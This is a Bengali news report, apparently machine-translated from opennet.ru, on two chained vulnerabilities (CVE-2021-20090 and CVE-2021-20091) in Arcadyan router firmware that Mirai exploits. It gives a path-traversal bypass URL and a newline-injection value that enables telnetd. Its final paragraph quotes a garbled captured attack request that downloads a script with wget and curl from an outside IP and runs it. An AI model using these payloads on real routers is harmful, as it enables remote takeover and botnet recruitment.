হোম রাউটারে দুর্বলতা 17টি নির্মাতাকে প্রভাবিত করে

হোম রাউটারগুলির বিরুদ্ধে নেটওয়ার্কে একটি বিশাল আক্রমণ রেকর্ড করা হয়েছে যার ফার্মওয়্যার Arcadyan কোম্পানি থেকে একটি HTTP সার্ভার বাস্তবায়ন ব্যবহার করে। ডিভাইসগুলির উপর নিয়ন্ত্রণ পেতে, দুটি দুর্বলতার সংমিশ্রণ ব্যবহার করা হয় যা রুট অধিকার সহ নির্বিচারী কোডের দূরবর্তী সম্পাদনের অনুমতি দেয়। সমস্যাটি Arcadyan, ASUS এবং Buffalo-এর মোটামুটি বিস্তৃত ADSL রাউটারের পাশাপাশি Beeline ব্র্যান্ডের অধীনে সরবরাহ করা ডিভাইসগুলিকে প্রভাবিত করে (সমস্যাটি স্মার্ট বক্স ফ্ল্যাশে নিশ্চিত করা হয়েছে), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone এবং অন্যান্য টেলিকম অপারেটর। এটি উল্লেখ্য যে সমস্যাটি 10 ​​বছরেরও বেশি সময় ধরে Arcadyan ফার্মওয়্যারে উপস্থিত রয়েছে এবং এই সময়ের মধ্যে 20টি বিভিন্ন নির্মাতার থেকে কমপক্ষে 17টি ডিভাইস মডেলে স্থানান্তরিত হয়েছে।

প্রথম দুর্বলতা, CVE-2021-20090, প্রমাণীকরণ ছাড়াই যেকোনো ওয়েব ইন্টারফেস স্ক্রিপ্ট অ্যাক্সেস করা সম্ভব করে তোলে। দুর্বলতার সারমর্ম হল যে ওয়েব ইন্টারফেসে, কিছু ডিরেক্টরি যার মাধ্যমে ছবি, CSS ফাইল এবং জাভাস্ক্রিপ্ট স্ক্রিপ্ট পাঠানো হয় প্রমাণীকরণ ছাড়াই অ্যাক্সেসযোগ্য। এই ক্ষেত্রে, যে ডিরেক্টরিগুলির জন্য প্রমাণীকরণ ছাড়াই অ্যাক্সেসের অনুমতি দেওয়া হয় প্রাথমিক মাস্ক ব্যবহার করে চেক করা হয়। প্যারেন্ট ডিরেক্টরীতে যাওয়ার পাথে “../” অক্ষর উল্লেখ করা ফার্মওয়্যার দ্বারা ব্লক করা হয়েছে, কিন্তু “..%2f” কম্বিনেশন ব্যবহার করা এড়িয়ে গেছে। সুতরাং, "http://192.168.1.1/images/..%2findex.htm" এর মতো অনুরোধ পাঠানোর সময় সুরক্ষিত পৃষ্ঠাগুলি খোলা সম্ভব।

দ্বিতীয় দুর্বলতা, CVE-2021-20091, একটি প্রমাণীকৃত ব্যবহারকারীকে app_abstract.cgi স্ক্রিপ্টে বিশেষভাবে ফরম্যাট করা প্যারামিটার পাঠানোর মাধ্যমে ডিভাইসের সিস্টেম সেটিংসে পরিবর্তন করতে দেয়, যা পরামিতিতে একটি নতুন লাইন অক্ষরের উপস্থিতি পরীক্ষা করে না। . উদাহরণস্বরূপ, একটি পিং অপারেশন করার সময়, একজন আক্রমণকারী সেটিংস ফাইল /tmp/etc/config/ তৈরি করার সময় IP ঠিকানা চেক করা সহ ক্ষেত্রের মধ্যে “192.168.1.2%0AARC_SYS_TelnetdEnable=1” মান নির্দিষ্ট করতে পারে .glbcfg, এটিতে "AARC_SYS_TelnetdEnable=1" লাইনটি লিখবে ", যা telnetd সার্ভারকে সক্রিয় করে, যা রুট অধিকার সহ অনিয়ন্ত্রিত কমান্ড শেল অ্যাক্সেস প্রদান করে। একইভাবে, AARC_SYS প্যারামিটার সেট করে, আপনি সিস্টেমে যেকোনো কোড চালাতে পারেন। প্রথম দুর্বলতা এটিকে "/images/..%2fapply_abstract.cgi" হিসাবে অ্যাক্সেস করে প্রমাণীকরণ ছাড়াই একটি সমস্যাযুক্ত স্ক্রিপ্ট চালানো সম্ভব করে তোলে।

দুর্বলতাগুলিকে কাজে লাগাতে, একজন আক্রমণকারীকে অবশ্যই সেই নেটওয়ার্ক পোর্টে একটি অনুরোধ পাঠাতে সক্ষম হতে হবে যেখানে ওয়েব ইন্টারফেস চলছে৷ আক্রমণের বিস্তারের গতিশীলতার দ্বারা বিচার করে, অনেক অপারেটর সমর্থন পরিষেবা দ্বারা সমস্যার নির্ণয় সহজ করার জন্য বাহ্যিক নেটওয়ার্ক থেকে তাদের ডিভাইসগুলিতে অ্যাক্সেস ছেড়ে দেয়। যদি ইন্টারফেসের অ্যাক্সেস শুধুমাত্র অভ্যন্তরীণ নেটওয়ার্কের মধ্যে সীমাবদ্ধ থাকে, তাহলে "DNS রিবাইন্ডিং" কৌশল ব্যবহার করে একটি বহিরাগত নেটওয়ার্ক থেকে আক্রমণ করা যেতে পারে। মিরাই বটনেটের সাথে রাউটারগুলিকে সংযুক্ত করতে দুর্বলতাগুলি ইতিমধ্যে সক্রিয়ভাবে ব্যবহার করা হচ্ছে: POST /images/..%2fapply_abstract.cgi HTTP/1.1 সংযোগ: ব্যবহারকারী-এজেন্ট বন্ধ করুন: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_address=212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

উত্স: opennet.ru